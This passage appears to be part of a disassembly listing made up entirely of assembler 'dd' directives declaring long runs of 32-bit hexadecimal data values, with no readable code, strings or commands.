49C06FE0h dd 0F5BFDAA2h, 0FE2B0C58h, 0FB193188h, 0A5D9C100h, 5B525E72h dd 0F9EA1D7Dh, 63BF802Bh, 97DA96B8h, 5C408A03h, 35882Dh dd 32A23B39h, 0CEDF61Dh, 0CA05310Eh, 4065E339h, 2224F8E9h dd 0EAE31FFEh, 8DE0809Fh, 6853994Eh, 218440D0h, 2A300A5Ah dd 0DBC9052Ch, 0DD88028Ah, 91204C9Dh, 0E0AA28CAh, 33FE00CCh dd 0A829FF81h, 40C813D3h, 5B9B4326h, 0AB535900h, 5AD4CC31h dd 0B80C0044h, 0D9CAB512h, 3018A9C2h, 60282BDAh, 8B16088h dd 0B6F95915h, 0BBC65F00h, 195B8AE8h, 0D004001Eh, 3B556A53h dd 61DD5097h, 1F275643h, 71B5D05Fh, 0A173000Ah, 0E0B3A5F7h dd 618CF49h, 0F3993B88h, 73550E47h, 0F5CA0BBCh, 277DC0F8h dd 88317069h, 160A89ABh, 35B43E8h, 0BB347A78h, 9280E840h dd 5D0335B3h, 2BBEB2B8h, 174CC984h, 3E289081h, 4855ADF5h dd 0AE608AACh, 1696B051h, 41690007h, 1C3CBBADh, 3800C088h dd 1252F645h, 1DB110BEh, 7F08AE14h, 13B9C430h, 6E0EC0B6h dd 4675E39Dh, 426929CCh, 6BAC0060h, 0F1B405ECh, 10502463h dd 224B0094h, 0B24F3BBAh, 198980E3h, 6ECE28EAh, 31392A65h dd 3DA000C0h, 66482CD9h, 0C8017C5Fh, 101B0C7Eh, 24409E3Eh dd 503F1944h, 18914C3Ah, 112E8809h, 8F0F2B2Ah, 0C535C781h dd 0DB1E546Eh, 0AA41F200h, 0A0CE30D3h, 0B8297D38h, 0FC8693h dd 0F48598B2h, 0D6A3FF76h, 316ED900h, 80618C57h, 9E430049h dd 0E6AA2A2Bh, 48C633A1h, 51FE39h, 8D90C3C9h, 1736F4F3h dd 0BF9A9891h, 51049861h, 21101EAAh, 3D98C7E7h, 8281A97h dd 0C800BAA0h, 8D94BB5Bh, 7381038Ch, 0B3369CD2h, 0F48066C3h dd 0AC033F21h, 8B5C1655h, 92580C54h, 0B0481447h, 3207B705h dd 280BE35h, 3F249462h, 0D93E2E3Eh, 95846C85h, 6660410Eh dd 0CC279846h, 0DC735CF8h, 4F7A917Ch, 357B20h, 3B68ED19h dd 3041CDE9h, 612B5303h, 73D88F5h, 0BCC832D9h, 86279029h dd 0DF013B73h, 0A6E0EEA4h, 39D8FEACh, 47EE05Bh, 0D4E1B752h dd 4F2090E2h, 789AD197h, 39F3B50Ch, 7C9928h, 0CF8CEF8Ah dd 3EC3A559h, 23B51A00h, 0E3CA8546h, 0E930EE8Dh, 3716EC48h dd 0C6916B2Bh, 0F0A161D8h, 0B5C986F6h, 719584Eh, 8AF0F140h dd 0E7E340BEh, 0A898E4FBh, 921359C4h, 323A08Ch, 36D7DAF2h dd 16E00A1Dh, 0B3008C2Dh, 251AA32h, 605E9B5h, 0E13A17FEh dd 0DFA07919h, 1118CA57h, 0A2992288h, 1CB138h, 241CDB29h dd 230AB10Ch, 0D93D3477h, 82BD9700h, 60DD2BEh, 885BC080h dd 0AC0B41C3h, 0DDF24CD5h, 94E48606h, 2FFB4150h, 0B497BA0Bh dd 5024183Dh, 0B5B70954h, 0D4018BA4h, 483A5CBEh, 6E1E8098h dd 70C0481Ah, 294483EEh, 8AB118D5h, 36A5F9A8h, 0A4019EFAh dd 0D91E1CAFh, 0B0C58BCBh, 0D3292180h, 0D8F108ADh, 0D4322200h dd 0DBB2407Eh, 39E6043Fh, 95F9C1CBh, 34B5804Ch, 0E0926104h dd 6F6BE100h, 0E31772DDh, 39D90ECh, 3B63CABBh, 0F1026989h dd 0DA2B9AD5h, 0AB8A6391h, 9219183Ch, 6732594Fh, 0BF739900h dd 4B087F19h, 0A81209D5h, 100255E2h, 0F5232ECDh, 0D06053B8h dd 20E8AA16h, 80AF4F18h, 5004D9D4h, 8A08380h, 0DA073CB5h dd 0EB40A428h, 6043AD82h, 0B0E7327Ch, 0DD31C9E0h, 9300F814h dd 9D51DE44h, 13D142A7h, 182B96B5h, 5C332124h, 59C3A80Fh dd 20AFAA48h, 8E073111h, 0B06C0F2Fh, 0BC131A04h, 0E5D14E01h dd 0DC8879F5h, 23B31BFh, 0CFEE669Eh, 0C9E0853Ah, 9F91ED99h dd 0D9813838h, 1863C074h, 0D77A75h, 0E7355346h, 17281F12h dd 527D7300h, 0F50BA2C2h, 30EA724Eh, 0AA39B496h, 0B9C063E9h dd 0AD744C41h, 0ABDD0C26h, 391953BBh, 0DEB80254h, 80344138h dd 6771C3C4h, 5143D64Ah, 4C21CCE3h, 0A6B1C418h, 0C2A43B88h dd 0F1BBB612h, 6C1060F2h, 0E0604789h, 44DBF481h, 0D8A0F5FBh dd 0E0015C87h, 0AA2F96B4h, 0EC4852BBh, 80CCA5ADh, 2E78737Dh dd 0B306F670h, 32B89423h, 3A251230h, 6466107Ah, 4054163Dh dd 80B403CEh, 3A54EA13h, 2112BA13h, 51972D04h, 0FF9498C8h dd 389B8180h, 0BDAAF0A4h, 170B349h, 1723ECB6h, 7C40E484h dd 13960228h, 4F67D430h, 4740A410h, 68BBE65Ch, 0CCA54F24h dd 0C7E21940h, 343E3017h, 9529CA41h, 396D9F08h, 40749E47h dd 0FAD435DEh, 7C790A34h, 8BA18400h, 0B7DC3DCBh, 231E0B42h dd 0A4123916h, 1428C1h, 0E202240h, 8F173006h, 8B00A9EBh dd 0C3AB4634h, 0B34F3D0Ah, 6844ACA6h, 22C59540h, 5CB025DAh dd 4C15B498h, 0C7303E19h, 2D0099Ah, 0E6AA0DF2h, 0E780143h dd 5F8AA11Bh, 0D8D85D35h, 0EA01697Ah, 834FEFE2h, 64FE0B98h dd 0FD6E3CD0h, 7395CB00h, 2CCE24BBh, 0E9A31A00h, 9CB6A439h dd 305C0A58h, 45B8B4AAh, 20ACC425h, 9DC1ECA8h, 7798B605h dd 0AC300116h, 31AB3B7Bh, 39B944EDh, 1CB05045h, 2A038363h dd 179A0B28h, 4DDFA846h, 23120E72h, 15A08E32h, 7A4F52EBh dd 93826816h, 80555C03h, 189DE92h, 0C3F7DCABh, 0E8B5D618h dd 4B00B1EDh, 0AE4FF283h, 268CD3C1h, 881CB2D0h, 39925AECh dd 6F888020h, 34533A7Fh, 1900B2A0h, 98BE1CBh, 787B411Ch dd 441F0E1Ah, 0A68F324Fh, 841094CBh, 2400E37Ah, 0AE432CDBh dd 21051BAh, 0C3BC72B8h, 0D0C315C9h, 0E33BF176h, 0E02B81EAh dd 0AA8823CCh, 2D4E1980h, 0B8C47ADh, 0D8564600h, 697E725Dh dd 502409D1h dd 0E282A4E5h, 805AB4ABh, 4181DECCh, 17EC3B84h, 2EF2B4D1h dd 0EC3C6293h, 5C304010h, 13803C2Bh, 0F6B5DFE8h, 0B0D8B46Ch dd 27804498h, 6143A31Ch, 5B7B7A00h, 5B76277h, 41CC1288h dd 176C008Bh, 996F2DECh, 889058F0h, 24A210EDh, 35782582h dd 1F133C80h, 0F214DE49h, 814C6346h, 75CE12BFh, 6C00D421h dd 0FC9EECB5h, 0F9AF10AAh, 0F5250118h, 105F9F26h, 30916AD1h dd 80685CB0h, 940CDF02h, 0F7E8011Ah, 0E66ADBFDh, 0DCE6CEAAh dd 0EE7CD107h, 5BD0F38Fh, 0A52458h, 72B05C13h, 0D91D540Bh dd 5FCA3Eh, 0F493A281h, 0A0411519h, 6A76E88h, 0E73AE1D2h dd 0CF2E086Fh, 516FA42Eh, 20941328h, 190A3A9Eh, 7CF511AEh dd 0A6124140h, 4C149073h, 19680E5h, 0F56FB272h, 40E98469h dd 5040DC8Ah, 0A93F17F0h, 328FB000h, 5A5F3E90h, 0E8230021h dd 46C3861Eh, 2D518813h, 6C2344h, 0D06F0B07h, 1A9C3D8h dd 923C5F31h, 0E9D1C2E8h, 313BFD46h, 0A1B8C6h, 7B19EB0h dd 719A048Ah, 3E0100F0h, 0E6E1E20Eh, 85004916h, 0BBA67692h dd 0E13043A0h, 0F82C0032h, 846F00B8h, 49F5AA40h, 0D8AB4F29h dd 0C85FE06Fh, 0E758232h, 0E423E03Fh, 0BC4A1AE1h, 64228Bh dd 19D59958h, 3FDE3FAh, 40E49BB3h, 3AE90580h, 4C9C6233h dd 52007EC5h, 0A7F445C3h, 9A26A92h, 0A4A083B3h, 60E90482h dd 0D3A62520h, 59347E47h, 0E3008882h, 7FB013AEh, 0F4FF35EBh dd 550C5BCAh, 3977AFABh, 0E0B24C4Fh, 59480896h, 0BAB014BEh dd 0F4F42A70h, 8094925Ch, 522E93CBh, 0E5D00EA5h, 4897DB1Dh dd 8A492FB4h, 1260D8C0h, 0C5764E0h, 5C093F16h, 5E379618h dd 26E438D4h, 0B02A7037h, 0ED137768h, 981EDDC9h, 9898BD58h dd 523541F9h, 608F8A64h, 0F578FB00h, 9A02BCA1h, 2D27D4CBh dd 0DEF08170h, 0AC60B931h, 39F5889Fh, 0A6D04B07h, 1266CC6Bh dd 0A9883081h, 0D6AD6651h, 793AD5FEh, 0EBB88934h, 6A10315Eh dd 16CF6217h, 40DD2084h, 79FAE6D3h, 53FB00B7h, 4B18CD04h dd 0CC0AE531h, 0B0B5B828h, 496646h, 1E4FEAF3h, 477A5FAFh dd 0E843944Bh, 800DF9D4h, 0EEE2DCh, 0A8110FE6h, 42EFF0A2h dd 9659671Eh, 0DD0208ECh, 0E05EA0ACh, 1FFE388h, 4858BEA6h dd 21CA99E9h, 0F03C075Ch, 4CC509ECh, 0A9B0CC50h, 4C056640h dd 0DE805C34h, 0D530B445h, 819C9A54h, 0E13AC114h, 28888AF4h dd 3246003Ah, 968648B0h, 4980FB17h, 10C1CB9h, 0AF4EE03h dd 0D7F480F2h, 53822614h, 742C7DC4h, 61CC010h, 4D47D204h dd 6173FC81h, 1ADC0A04h, 0A81138h, 2DAE96F8h, 2C4A9EC2h dd 0A97264Fh, 44ACA5B3h, 0E99840C3h, 5E4714h, 0CEA93E6h dd 46CC37FFh, 56E89C1Ah, 0AC5849B1h, 3DBD060h, 38ABA50Ah dd 79228010h, 0E5900DCh, 7B271806h, 0B60E5AA2h, 404978EDh dd 0BDC2DABBh, 33564092h, 2D004DFEh, 98FFCF46h, 3D2FBEB4h dd 0B0DCB3AAh, 78ECBB80h, 0D890F454h, 0F6102517h, 34167E02h dd 48A04BB1h, 4A80F888h, 8FC99CF9h, 8598A700h, 5BFA277Bh dd 0F8C70081h, 0F6BFA457h, 0CC9CF44Bh, 652DFD40h, 0B7B60030h dd 0AF8DBA5Dh, 183D370Ch, 247A72DBh, 94A8B35Eh, 591BAC05h dd 0D0ACCC2Ah, 317A550Bh, 2E8987B8h, 0EBD27990h, 0EE7E0061h dd 7C81C956h, 758C6F8h, 537B072Ch, 0D035A84h, 0C080B44Ah dd 9688143Ah, 45F78FE8h, 0AF3D5260h, 9220B855h, 67809CDFh dd 0B0B70032h, 0EF0056C7h, 5F4E96E7h, 138F584h, 27CB05C6h dd 0D281542Ah, 32612449h, 347700C4h, 472BBD7Ch, 6FF8ADh dd 1F442769h, 52BC0929h, 0AB3CAE06h, 7962D7h, 0CC68AD88h dd 13BD067Bh, 309FF13Fh, 0C3EB51C1h, 0A31A0026h, 762F25DCh dd 0ACEE69D8h, 4C90C800h, 5EA87C9Ch, 1C57001Dh, 8ABAB938h dd 9500CE98h, 60253437h, 38842A9Ch, 0FEFC065Fh, 647B6Fh dd 2E87B899h, 0BF1A89F5h, 85B81FF2h, 0CA9D7700h, 0D271F88Ch dd 0BBCE377Eh, 352FC140h, 50F3D4E5h, 595A2630h, 73AEC61h dd 89114BF8h, 127AC071h, 0D70396B0h, 0CA9A1E06h, 0A856B8F9h dd 0A4580169h, 0CF130B0Ch, 0D6D1084h, 0FB320062h, 0C3AD9FDh dd 0EC05C1B8h, 5006D355h, 60A42B80h, 71F16C9h, 0F43400C5h dd 252C0E70h, 489D6930h, 335C9BEh, 5AC36047h, 19786B36h dd 0D9C032E0h, 990D2F2Bh, 109862B3h, 1480252Ah, 424FD820h dd 0C0286C0Ch, 301C60D9h, 57E96204h, 63004002h, 0A5FA7C21h dd 0E8D3A256h, 1F47849h, 0E742F5EEh, 0F0BF2A50h, 5F006FC6h dd 3873841Dh, 31EA8CD6h, 28882D68h, 1891801Ch, 44EF1554h dd 76350065h, 48873AAAh, 0DC984D5Fh, 0F283393Fh, 0B03194A8h dd 0D6FC23Ah, 0B9CBFDCDh, 7B357F0h, 2DD3CF38h, 6851708Ch dd 0BBB0B244h, 0D2E73D04h, 83E815h, 0D4793830h, 99A0B501h dd 81937437h, 5A7ABF38h, 59816626h, 35121CCBh, 0FEE0E434h dd 3AA27200h, 0B19D6C8Eh, 9E7706BDh, 3074D0AEh, 326FFC02h dd 80E88334h, 0A92C3858h, 83B6163h, 8035286Fh, 10A2E781h dd 3327A4Dh, 8CDD1FF2h, 390D86EDh, 590C1DBDh, 84DECE0h dd 8ACA2DD2h, 0A469CE0Ah, 64889680h, 362B9Bh, 0E11DBF3Ah dd 2818DFB7h, 0D0B57E00h, 8DF7C2F6h, 0EA84116Ah, 26607FC3h dd 0A1EB7A89h, 18830266h, 0BFB39E69h, 0CF290C48h, 0E348C850h dd 0EA807891h, 0BE82988Ch, 0C9F8B4h, 4F3B97FAh, 9CBD5BDCh dd 0CC77F900h, 3E0D63Eh, 0A24900FFh, 0C2B62ACAh, 45782E6Dh dd 57C5B10Ah, 1F01442Bh, 673BBBD0h, 2C30D0E7h, 88CE30F3h dd 0E12D8A81h, 8F040E00h, 9A954A58h, 9473507Ah, 0A09B146Bh dd 2B1BB42Dh, 37C8510Fh, 660046E5h, 986BADD5h, 0CB8480Ah dd 87CD961Ch, 85005859h, 680349A4h, 2051F6Fh, 8B3AFDB6h dd 1C64041Dh, 31C0CE7Bh, 0A71674CFh, 49101BFh, 11C6671h dd 9E144258h, 99E6ED20h, 78C00C8h, 203F5D2Fh, 0B8022BE4h dd 34CF866Dh, 9C9E0133h, 0F8B849BEh, 23E11C5Dh, 802815E8h dd 74200C8h, 3F1C372Bh, 6D38A05Bh, 7E80832Dh, 4E037FCAh dd 0FE7544C0h, 88A0AFE0h, 486C9516h, 0F5384C78h, 0CF007969h dd 0E78AB05Ah, 0DC705E09h, 0CB43126h, 0C307DF9h, 0FD27E01Dh dd 0FD704Ch, 3C22E6BBh, 273A371h, 4C5A900h, 5FE5A058h dd 9D324003h, 0F13F3700h, 0EB832A80h, 9EB1C360h, 0F9295698h dd 0FB00A025h, 631E537Ah, 0D37A0Fh, 575105A0h, 9869066Bh dd 0A5C2BD14h, 3FAC22E0h, 49681C0Ch, 12F51298h, 0CD5C001Ch dd 0CAB2C405h, 43F65B17h, 8154DB09h, 9FFE5E58h, 6B06B423h dd 0B12225AAh, 0B4F430Bh, 7C80754Ch, 1792CD3Fh, 9B8D2A0Fh dd 507E6CAAh, 689A000Ch, 6741A31Eh, 696328BCh, 3BBB3A79h dd 0CC9FFB91h, 0E8881CDAh, 9C6720A8h, 12BF4E44h, 256AC0Ah dd 7407A7BCh, 0D4F6A400h, 0E2181DFFh, 0BD3C458Eh, 60448168h dd 40AC490Dh, 1D9F2908h, 4467013Ch, 11D9CE81h, 3BDB020h dd 8F8A4C6h, 803B6F00h, 56E9CC32h, 89430002h, 3EDD10CAh dd 7501D1AEh, 3BA24F39h, 0CC527682h, 3121205Ah, 0C90036CFh dd 0A303AC37h, 5783B1h, 0A2B0A1A0h, 7C98479Dh, 0E1BD6B16h dd 0D3A90C07h, 1D875100h, 506D5003h, 562388BBh, 94EC2F01h dd 9DAF2544h, 0B01CB427h, 0AE49400Dh, 0F1ECB7BAh, 6C252E18h dd 0AFB129h, 2F099793h, 0A9ECD008h, 25A4161Fh, 9020D5h dd 0E9618E27h, 1A0BC86h, 28F4C31Ah, 0F0E61E01h, 0DE03871Bh dd 51D5220h, 0CFE9245Eh dd 0BDC740A8h, 7300B8A8h, 7C8DCA8Ch, 1EFFD32Ch, 5D0445AFh dd 0E198FEAEh, 1D28316Ch, 0AA2E79C2h, 7EE05D26h, 21007B65h dd 552B4A75h, 7E7E58Ah, 386C1CF8h, 316BD2B0h, 1DF00C4Bh dd 0CE882B39h, 0B459C010h, 9DD49314h, 7E539E00h, 61755A82h dd 8EF71687h, 8C1E0244h, 44841BEBh, 0E02A4E21h, 326BA9DAh dd 1E6400E2h, 40C64DB8h, 0E1017D54h, 0D2225387h, 3187863Ah dd 998D6529h, 0F866AB00h, 642E44B1h, 0F660104Ah, 1918E38h dd 0BEC908D3h, 87272876h, 1ACDD71h, 0CED0A701h, 79006C72h dd 573BB93Dh, 0C2B05AC9h, 80374B05h, 60CC85DBh, 4F528865h dd 0B3341E00h, 92AB9562h, 52700DAh, 3098FBD3h, 4C5C58C2h dd 0B073C96Ch, 7FC4F5A0h, 4C257992h, 98500431h, 6C8C8A20h dd 0C41ECD29h, 1100B1C1h, 5D25D92h, 0F5430BAEh, 0FCA0A3EEh dd 0CD3EC75Ch, 5EF61D03h, 79190260h, 6E3A3749h, 5F18C581h dd 495B1EBCh, 0E00185AAh, 48B18057h, 0F6005AACh, 55CB3459h dd 306C51h, 0A5D7A0D6h, 17610624h, 0B24A5Ch, 3932BA5Eh dd 0C31ACFA4h, 7B3AF459h, 2033F7C0h, 0FA215800h, 0AF0AC1B4h dd 59900FFh, 42BE9645h, 0A82838D3h, 60B18031h, 4ABAAD01h dd 77F40B19h, 0CD8603FAh, 45BE7212h, 0F0F8A5ABh, 0EC015ECCh dd 7CF532DFh, 146016DCh, 0C81C04Ch, 9E677AE8h, 769CB513h dd 91D35020h, 11BF0F45h, 374AC4D2h, 25424084h, 489B8328h dd 4C4FC983h, 27DEF007h, 0A4B01C5h, 0E6769195h, 65CED9h dd 0FFE8BB00h, 7C53AEDEh, 610261FBh, 548A8F9Eh, 9958C2ACh dd 71B2823h, 0A2F92B81h, 805719D9h, 5731EF55h, 8738942Ah dd 10B7C78Ah, 6D25AE8Dh, 0FC90D900h, 0EF54A875h, 5390C40Dh dd 0FC2C8D80h, 4500C960h, 0E5BDAE5Dh, 0C06FCF13h, 7F49AA91h dd 0AD1DB982h, 0D54001F5h, 6127390Dh, 14717745h, 84B55E76h dd 0B1E8830Dh, 62F821B1h, 0BAF509B4h, 0ED3C05ACh, 25BDB088h dd 0BC2726D3h, 0BBB60B0h, 0EC0EDE12h, 3CD21992h, 4135C009h dd 0C9319E88h, 609451A4h, 0D458FB5Dh, 0DC19DB0Ah, 8160B0FDh dd 2BFC7F2h, 56EDC6F8h, 0A4469D80h, 0DB88ACBBh, 4600A39h dd 883B44A4h, 0C4000670h, 0A0D92C32h, 7385BD80h, 0D0B3029Ch dd 740E3DF1h, 11339441h, 71915ECAh, 0E3831CBCh, 313570A2h dd 90086FC6h, 8432CDh, 1F864E45h, 803E79h, 1498EDB7h, 8FD9DAD5h dd 9A000FF2h, 0CD357412h, 0D6EC5Bh, 2A3295B2h, 45671F1h dd 11856B0Fh, 90305283h, 0A25EBAh, 51E80FF5h, 3F70AC58h dd 7625CF7Fh, 0D1F022B0h, 89EC0A69h, 7C63CC85h, 0CAA0C480h dd 0B3BE3700h, 2498EFAh, 0F8C1FA38h, 70BD28B1h, 298844F4h dd 50811C91h, 89D23C76h, 0E513ECh, 974306ACh, 0D5589EA6h dd 38D6B405h, 0E80469A9h, 68D209FEh, 0E9001631h, 0B524029h dd 1F98B0C9h, 41484C71h, 0AC05FD3Dh, 68C9A982h, 1689F484h dd 85EE60D1h, 3875191h, 2E42561Fh, 420CF10h, 34C55F5Ah dd 8C21AF3Bh, 943D39D8h, 0C4E880D9h, 27C7DC2Dh, 87D12A1h dd 2C7C01CDh, 30F48A01h, 50913A10h, 583B3C00h, 0D8D363h dd 0B02749Bh, 0A92B9147h, 3F37541Ah, 4C66F8h, 0F689DAD7h dd 1E5AED06h, 0F3F49524h, 0B848FC17h, 0A4F18082h, 15C6A3DBh dd 4413CE7Ah, 830F61DDh, 8C20F63Ch, 0E8FCC4FEh, 4DD20020h dd 0AF635BC2h, 19036CC9h, 0A3DE09E6h, 0D8D8B5DCh, 0E1B89406h dd 0F8AFE9D0h, 1401E5DBh, 1F0FB8EDh, 60E00615h, 0EC1C5C25h dd 0AABD3EC8h, 9B009C64h, 0C65373F0h, 0CBB5C4h, 381A6895h dd 0A6423CD7h, 0CD373603h, 0FAA2584Eh, 0E3B89326h, 357FC892h dd 38600C3h, 1F0DBAB9h, 7028AB3h, 7934BFADh, 8398E85Eh dd 2CF891E1h, 0F81001CCh, 335EDA28h, 394F07CCh, 99C193FDh dd 0E630D3D8h, 0A7A4A85h, 14CD14h, 9E3CB5EDh, 0F33B474Bh dd 0DC4D0ADDh, 6508C04Ch, 0EC830475h, 2530E786h, 27ACA469h dd 0C68C8h, 34A29399h, 0B264C010h, 7C12C879h, 0EC1E356Bh dd 5BCC2765h, 2A559DC1h, 0B5003472h, 0ABCE18F7h, 5144D063h dd 2DAA13BDh, 0BFE7F0E1h, 5CD0A048h, 69021190h, 96DE050h dd 0D233ECD8h, 83265040h, 0BC20F44Eh, 9E3ED4h, 0BE05CF35h dd 4FE0D27Ch, 194C9F48h, 0F1089CCDh, 4C83E360h, 0BD8C50EAh dd 534D56D2h, 6D04840h, 182A365Eh, 0F6A024B9h, 0BA5F006Fh dd 43769F85h, 48B04F5Ch, 7E15C0D8h, 58D0126Bh, 0EE028B4Dh dd 0CEBD3350h, 4B0108E4h, 0C12FADDFh, 49E070B3h, 27BF1FB7h dd 2B4440FDh, 0FF532397h, 7028189Ah, 0DC7B4028h, 9BA9CA00h dd 0E4B90850h, 0FB1C1663h, 0E0788826h, 0F8C0D0ABh, 35002F4Ch dd 0D28D353h, 5CAF3A34h, 0A427D872h, 0E1730410h, 88CC8D1Fh dd 0ECC0DB1Fh, 8117C9EBh, 0BBF0287Fh, 702650C4h, 0BC430173h dd 0F9A3A274h, 123C71CDh, 0E31098C0h, 4A570B17h, 0A090813Ah dd 951D11DCh, 0F5077C7Eh, 0B36031F7h, 30BDB619h, 1529543Bh dd 0EB0E11C3h, 208A4AD5h, 8B948820h, 0A840030Fh, 82EC8CDDh dd 1A286918h, 3D8875F9h, 1380354Dh, 5E91EE2Dh, 849E8027h dd 9C26F543h, 7B00A4h, 66D58175h, 6D2CF15Bh, 9E410902h dd 90CED9E1h, 6DB89A0h, 52506FA7h, 16034985h, 2DE826F7h dd 0E0CCD474h, 0CAB9008Ch, 81FE024Ch, 8FF80DF3h, 0D3CCAF12h dd 1DE42CC8h, 0FE70B55Fh, 98C3B000h, 0C04585A8h, 0A11C7302h dd 0D0D6D78Fh, 0F5BE1964h, 603779D1h, 6700025Ch, 0B9133645h dd 278FC5Eh, 0A09598DDh, 70CC9E52h, 2C5841EBh, 3DD19C63h dd 0A034BA4h, 98352862h, 1275F737h, 9D3551Ah, 0A8003D78h dd 0FEE8316Dh, 389ECE22h, 0EE484A81h, 1B0E7E00h, 0ECC56636h dd 0A3F3F906h, 1C29B2CEh, 7C1C1ADDh, 59B9BA81h, 0DDF36CDAh dd 1FB02206h, 0D90E30E0h, 0A31CA089h, 616B4731h, 1E607038h dd 10D0294Bh, 284693Bh, 0BF374132h, 0B7F0132Ch, 0B09E12B6h dd 466888EBh, 0A52E6B13h, 56F33805h, 84422784h, 20612DCAh dd 3A054814h, 13B6E0Fh, 1B15A3C9h, 4BF4C1DCh, 0BB3161D8h dd 82A39D74h, 57C95F9Ah, 2D44BC61h, 0AFC3C0D4h, 4050F2h dd 174953A5h, 4839ED04h, 0FACB7302h, 0C07F9580h, 827563D0h dd 0ED0068D9h, 0BF08D746h, 98CC0072h, 306224EAh, 330996E3h dd 0E08576ACh, 36B7180h, 43024DD9h, 2D902AA2h, 6CBCCDCFh dd 0A0966540h, 8CD0127Fh, 9D5488EDh, 0CE8A1CB9h, 0B10A0CA4h dd 4BA09Fh, 200C3C7Ch, 356CA024h, 0A8700C5h, 0F8C39089h dd 273D1FE3h, 2FCD00F1h, 4646914h, 5EC80386h, 0A71596E2h dd 3C26B124h, 0ED6ABC40h, 6EEA00F4h, 0DAF0C28Fh, 0FE0A52A7h dd 4CBFB299h, 1898B420h, 9B9EBA0Ch, 9E251955h, 72888F3Ch dd 0B48DF1A0h, 73FE1552h, 705D0803h, 41CDAh, 31BA8431h dd 0D5F6A5C8h, 57F9A207h, 0C500D4B4h, 5A8CCBA0h, 1C9021EAh dd 156C3201h, 9DFC1F60h, 8CDABCC3h, 16C97CEFh, 883A1D42h dd 717CA054h, 6C20F65Eh, 0B6CFA5D6h, 6C98078h, 0D73B27F8h dd 0A47B2E1Dh, 7D415059h, 0D134D0h, 0AE619F4Ch, 9CD81126h dd 6F75ED00h, 0DF735C83h, 0CF142EAFh, 0D68B4200h, 1F80D48Eh dd 39045598h, 18F010C1h, 3078F9CDh, 1D38405Bh, 0C1D43B03h dd 909032F0h, 57AC2600h, 0FDD3DE75h, 806CB153h, 0D59181AAh dd 0B900A0D6h, 0A967F611h, 31DE6B04h, 0F7408315h, 0E8C0304Bh dd 15B9844h, 0A08E306Bh, 336F7A99h, 0F8CD0074h, 2363E6ADh dd 96D81C04h dd 1D1F8391h, 2AB0BEA6h, 0BD126905h, 0AC099F7Eh, 7D60C25Ch dd 7CC85562h, 0C18A81EBh, 4ED28FC0h, 7DB009Ch, 620D8C8Ah dd 501F103h, 0EE632E8Eh, 8C501ADFh, 3565116h, 0BEE9F40Ah dd 0B0C4E632h, 0A496F500h, 0D1200D40h, 89761870h, 0BA55317Ch dd 3E1DA014h, 487380F8h, 0F063FE29h, 3CB49842h, 61806D03h dd 0A95D4AC9h, 0BB16C61Ch, 3713B6BDh, 0C131E8D0h, 4698003Dh dd 273BFE74h, 0F2006AD8h, 42E79A07h, 908A459h, 0CDE458AFh dd 242A5C00h, 7F0023BFh, 2BCC3EC7h, 265ED0h, 0FAFCD350h dd 68F60DEFh, 0A8AE9E18h, 0BEE283A1h, 0E41650CCh, 49912C00h dd 9C1B2553h, 565000DAh, 630FA29h, 130093A6h, 60A43436h dd 0F2376DE1h, 40C2034Eh, 845D3056h, 28C421DDh, 4B598034h dd 9C8B1C54h, 0BD7D00B7h, 37255D26h, 4DB0078Eh, 0B380E0BCh dd 1DC3A2CFh, 51C4BC01h, 58A7FCD3h, 0E6C31F00h, 26E23B55h dd 899CA86Dh, 97CE005Fh, 0B7538DFDh, 0DF1631D4h, 5888A3FCh dd 0C27D0001h, 1D896A5Ch, 264CCD30h, 7B5080F4h, 140ECFFh dd 698A014Eh, 0E8B8CCD2h, 5F00AAC8h, 64171EE2h, 272B8575h dd 9C83F883h, 0A11780E3h, 497969Eh, 0F859F5C6h, 0FD650732h dd 0C1363B19h, 223A0C86h, 0E5FE7250h, 6AD53500h, 5784ED1Ah dd 8F310011h, 0C62C2D26h, 0CB174BEEh, 900874F6h, 0B49F818Eh dd 0D09B04E5h, 1C007A19h, 5F7C92ACh, 0F283F596h, 60285C69h dd 0C0679887h, 0CA8D3C60h, 0A7592000h, 3F9A3312h, 2B4C126Bh dd 3B600EBBh, 0CE871F71h, 56FBD600h, 4C681C5Ch, 50849878h dd 86ECB43Bh, 0C52D171Ch, 0F01299C0h, 7D62BAF2h, 8CF41C8Dh dd 90E196E0h, 30D4BD98h, 8480D92Eh, 17D20960h, 6EE4044Bh dd 808370D6h, 0DFDB87B9h, 0A1A4A05Ch, 0A04094Ch, 45BCE0C0h dd 73502038h, 0D80042AFh, 0E9261EECh, 0A43BB6BCh, 0EFF900B8h dd 44C0204Bh, 0BE1F08FDh, 0F9AEB67Ch, 0D8D44900h, 96A6E1Ch dd 0F27A21A2h, 64F06088h, 0A4E0339Ch, 0ECC03054h, 345869FEh dd 20B79B13h, 0C06888h, 0EF669022h, 11B3A0B4h, 1D57D00Bh dd 195C993Fh, 0B9144208h, 7C9C4D7Eh, 93BC054Ch, 0C5FFEC00h dd 425087Ah, 56AE909Ah, 8EFCA07Eh, 0EA052B07h, 6811F79Fh dd 398052BDh, 0F5C4992Ah, 400FB92Eh, 6045311Fh, 3F23EEF4h dd 0CFB200E0h, 7365E226h, 0CAA10E50h, 0F77C3058h, 125EEC3Ch dd 6820CF16h, 1EA22C53h, 45706399h, 0AE33727h, 45F47DF6h dd 95B82052h, 27024A4Dh, 0D5F9E68Bh, 126B6038h, 0ECD33BFFh dd 536CC085h, 8484F41Dh, 492B5637h, 0C23EC881h, 6FF18761h dd 47803038h, 29F6976h, 2B542A12h, 0E091EC93h, 0E87EF46Dh dd 315D1733h, 99F4005Ah, 5FFB5056h, 6F1A3205h, 60C0A5D2h dd 58E2D65Ch, 4DC0B455h, 0E66E1062h, 0DCFF8100h, 0DFBA91CBh dd 5E920BF7h, 8E803CFAh, 4571368h, 2026752Fh, 556E084Ch dd 257A1294h, 1C0CA0B8h, 9C470745h, 0F44463D7h, 0BD0044ADh dd 8C9C0B3h, 90C7B194h, 0A0F0F360h, 98BC2D45h, 0B814E7D8h dd 0F5430004h, 84730456h, 248551EBh, 2A1DA820h, 384232Bh dd 18379651h, 85B8F6ACh, 691EC64Fh, 0B7809310h, 0BB1CE65Ch dd 5CA0958h, 0A0041AC0h, 2238546Fh, 0F8D3262Dh, 0A65A63C0h dd 433A3ED0h, 5CEBE002h, 0C0B40736h, 8076EAB8h, 0BB48E183h dd 8585C898h, 0C0D1EB01h, 99BD6FF6h, 2489701h, 0A22BBB74h dd 38A3F3C8h, 0B701C738h, 0B3A8E31h, 0D0002E20h, 932FA608h dd 20345F37h, 0E901EB4Ch, 4D81D02h, 0EAC44AA6h, 0D8715Ch dd 0B1C39233h, 12009C1Dh, 542BC94Dh, 38CB0CC5h, 99BA515Fh dd 0A60A5582h, 